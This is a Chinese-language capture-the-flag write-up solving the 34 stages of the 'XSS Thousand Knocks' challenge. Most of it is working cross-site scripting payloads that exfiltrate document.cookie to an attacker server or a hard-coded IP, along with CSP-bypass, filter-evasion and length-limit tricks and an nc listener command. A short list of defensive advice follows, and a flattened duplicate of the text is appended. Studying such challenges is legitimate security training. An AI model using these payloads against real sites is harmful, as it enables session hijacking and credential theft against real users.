XSS Thousand Knocks解题记录
字数 1748 2025-08-26 22:11:15

XSS Thousand Knocks 解题教学文档

一、XSS基础概念

XSS (Cross-Site Scripting) 跨站脚本攻击是一种将恶意脚本注入到网页中的攻击方式。攻击者通过在网页中注入恶意代码,当其他用户访问该页面时,恶意代码会在用户浏览器中执行。

二、解题环境说明

  • 题目平台接收flag的方式:通过VPS或XSS平台接收cookie(flag在cookie中)
  • 基本payload结构:http://[题目hash].knock.xss.moe/?q=[payload]
  • 接收flag方式:使用nc监听端口 nc -lvvkp 1234

三、各关卡解题技巧

Stage 1-6: 基础标签闭合

  1. Stage 1: 直接location跳转

    http://.../?location=`http://your_vps/?${document.cookie}`
    
  2. Stage 2: 直接嵌入script标签

    <script>document.location=`http://your_vps/?${document.cookie}`</script>
    
  3. Stage 3-4: 闭合现有标签

    • 双引号闭合:"><script>...</script>
    • 单引号闭合:'><script>...</script>
  4. Stage 5-6: 闭合特殊标签

    • 闭合textarea:</textarea><script>...</script>
    • 闭合xmp:</xmp><script>...</script>

Stage 7-9: 事件处理器利用

  1. Stage 7-9: 使用onfocus事件
    " autofocus onfocus="document.location=`http://your_vps/?${document.cookie}`
    
    • 变种:单引号、无引号版本

Stage 10-11: JavaScript伪协议

  1. Stage 10-11: 使用javascript:协议
    javascript:document.location=`http://your_vps/?${document.cookie}`
    

Stage 12-14: CSP绕过技巧

  1. Stage 12: 预加载绕过CSP

    var xss = document.createElement(`link`);
    xss.setAttribute(`rel`, `prefetch`);
    xss.setAttribute(`href`, `http://your_vps/?${document.cookie}`);
    document.head.appendChild(xss);
    
  2. Stage 14: 利用frame-src策略

    • 通过其他关卡作为iframe源
    • 使用document.domain跨域
    document.domain=`knock.xss.moe`;
    window.open(`http://your_vps/?${parent.document.cookie}`)
    

Stage 15-19: 特殊标签利用

  1. Stage 15: SVG标签利用

    <svg/onload=document.location=`http://your_vps/?${document.cookie}`>
    
  2. Stage 18-19: 代码注入

    • 转义字符处理:\');payload;//
    • alert内执行函数:XSS',window.open(...));//

Stage 20-21: 过滤绕过

  1. Stage 20: 双写绕过

    <scriscriptpt>document.location=`http://your_vps/?${document.cookie}`</scriscriptpt>
    
  2. Stage 21: 大小写混淆

    <Script>docuscriptment.loscriptcation=`http://your_vps/?${document.cookie}`</sCript>
    

Stage 22-25: 长度限制绕过

  1. Stage 22: 精简payload (65字符限制)

    <svg/onload=window.open(`//2259624356:1234/?${document.cookie}`)>
    
  2. Stage 23-24: 使用location.hash (55/45字符限制)

    <svg/onload=eval(location.hash.slice(1))>#window.open(`http://your_vps/?${document.cookie}`)
    
  3. Stage 25: window.name技巧 (35字符限制)

    • 外部部署代码:
    <script>
    window.name = "location.href=`http://your_vps/?${parent.document.cookie}`";
    location.href = "http://target/?q=<svg/onload=eval(window.name)>";
    </script>
    

Stage 26-30: 编码与特殊字符绕过

  1. Stage 26: HTML实体编码绕过大小写转换

    • 将整个payload编码为HTML实体
  2. Stage 27-28: 点号过滤绕过

    • 使用window['open']代替window.open
    • IP地址处理:
      • 十进制IP:134.175.33.1642259624356
      • 中文句号:134。175。33。164
  3. Stage 29-30: 括号过滤

    document[`location`]=`http://2259624356:1234/?${document[`cookie`]}`
    

Stage 31-34: 不闭合标签利用

  1. Stage 31-34: 不闭合尖括号
    <svg/onload=document[`location`]=`http://2259624356:1234/?${document[`cookie`]}`//
    

四、关键知识点总结

  1. 标签闭合技巧:根据上下文选择合适的闭合方式(", ', >, )

  2. 事件处理器:onfocus、onload等事件的灵活运用

  3. CSP绕过

    • 预加载(prefetch)
    • 利用允许的域(frame-src)
    • 跨域document.domain技巧
  4. 长度限制应对

    • 使用最短有效标签(svg)
    • location.hash分割payload
    • 外部window.name技巧
  5. 过滤绕过

    • 双写关键字(scrscriptipt)
    • 大小写混淆
    • HTML实体编码
    • 反引号代替引号
    • 数组表示法(window['open'])
  6. 特殊技巧

    • JavaScript伪协议
    • 十进制IP表示
    • 中文标点替代
    • 不闭合标签执行

五、防御建议

  1. 输入输出编码
  2. 使用CSP策略
  3. 设置HttpOnly cookie标志
  4. 过滤特殊字符和关键字
  5. 使用X-XSS-Protection头
  6. 实施内容安全策略

通过这34道题目,系统性地掌握了XSS的各种攻击方式和绕过技巧,对Web安全防护有了更深入的理解。

XSS Thousand Knocks 解题教学文档 一、XSS基础概念 XSS (Cross-Site Scripting) 跨站脚本攻击是一种将恶意脚本注入到网页中的攻击方式。攻击者通过在网页中注入恶意代码,当其他用户访问该页面时,恶意代码会在用户浏览器中执行。 二、解题环境说明 题目平台接收flag的方式:通过VPS或XSS平台接收cookie(flag在cookie中) 基本payload结构: http://[题目hash].knock.xss.moe/?q=[payload] 接收flag方式:使用nc监听端口 nc -lvvkp 1234 三、各关卡解题技巧 Stage 1-6: 基础标签闭合 Stage 1 : 直接location跳转 Stage 2 : 直接嵌入script标签 Stage 3-4 : 闭合现有标签 双引号闭合: "><script>...</script> 单引号闭合: '><script>...</script> Stage 5-6 : 闭合特殊标签 闭合textarea: </textarea><script>...</script> 闭合xmp: </xmp><script>...</script> Stage 7-9: 事件处理器利用 Stage 7-9 : 使用onfocus事件 变种:单引号、无引号版本 Stage 10-11: JavaScript伪协议 Stage 10-11 : 使用javascript:协议 Stage 12-14: CSP绕过技巧 Stage 12 : 预加载绕过CSP Stage 14 : 利用frame-src策略 通过其他关卡作为iframe源 使用document.domain跨域 Stage 15-19: 特殊标签利用 Stage 15 : SVG标签利用 Stage 18-19 : 代码注入 转义字符处理: \');payload;// alert内执行函数: XSS',window.open(...));// Stage 20-21: 过滤绕过 Stage 20 : 双写绕过 Stage 21 : 大小写混淆 Stage 22-25: 长度限制绕过 Stage 22 : 精简payload (65字符限制) Stage 23-24 : 使用location.hash (55/45字符限制) Stage 25 : window.name技巧 (35字符限制) 外部部署代码: Stage 26-30: 编码与特殊字符绕过 Stage 26 : HTML实体编码绕过大小写转换 将整个payload编码为HTML实体 Stage 27-28 : 点号过滤绕过 使用 window['open'] 代替 window.open IP地址处理: 十进制IP: 134.175.33.164 → 2259624356 中文句号: 134。175。33。164 Stage 29-30 : 括号过滤 Stage 31-34: 不闭合标签利用 Stage 31-34 : 不闭合尖括号 四、关键知识点总结 标签闭合技巧 :根据上下文选择合适的闭合方式(", ', >, ) 事件处理器 :onfocus、onload等事件的灵活运用 CSP绕过 : 预加载(prefetch) 利用允许的域(frame-src) 跨域document.domain技巧 长度限制应对 : 使用最短有效标签(svg) location.hash分割payload 外部window.name技巧 过滤绕过 : 双写关键字(scrscriptipt) 大小写混淆 HTML实体编码 反引号代替引号 数组表示法(window[ 'open' ]) 特殊技巧 : JavaScript伪协议 十进制IP表示 中文标点替代 不闭合标签执行 五、防御建议 输入输出编码 使用CSP策略 设置HttpOnly cookie标志 过滤特殊字符和关键字 使用X-XSS-Protection头 实施内容安全策略 通过这34道题目,系统性地掌握了XSS的各种攻击方式和绕过技巧,对Web安全防护有了更深入的理解。